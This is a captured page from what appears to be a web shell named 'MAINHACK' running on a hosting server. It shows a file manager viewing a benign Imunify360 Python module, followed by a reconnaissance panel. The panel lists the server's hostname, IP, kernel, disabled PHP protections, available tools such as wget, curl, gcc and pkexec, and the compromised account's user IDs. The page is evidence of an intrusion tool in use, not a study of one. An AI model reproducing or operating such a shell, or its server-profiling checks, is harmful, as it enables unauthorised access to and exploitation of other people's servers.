[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: remoteip.py
File is not writable. Editing disabled.
import os from typing import Optional, Tuple from defence360agent.utils import check_run from im360.subsys.panels.base import RemoteIPInterface __all__ = [] # type: list _REMOTEIP = 'remoteip' _RPAF = 'rpaf' _HTTPD_IS_NOT_RUNNING = 'httpd is not running' _NGINX_MNG_CMD = ("/usr/local/psa/admin/sbin/nginxmng", "-s") async def _enable_httpd_module(name: str): await check_run(['plesk', 'sbin', 'httpd_modules_ctl', '-e', name]) async def _is_nginx_proxy_on() -> bool: return b"Enabled" in ( await check_run( _NGINX_MNG_CMD, env=dict(os.environ, LC_ALL="C"), ) ) class RemoteIP(RemoteIPInterface): _REMOTEIP_MODULE_NAMES: Tuple[bytes, ...] = ( b"mod_remoteip", b"remoteip_module", b"rpaf_module", ) async def remoteip_activated(self) -> bool: return await self._is_loaded_to_apache() async def remoteip_install(self) -> Optional[str]: for m in (_REMOTEIP, _RPAF): await _enable_httpd_module(m) if await _is_nginx_proxy_on(): await check_run(['service', 'nginx', 'reload']) return None
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A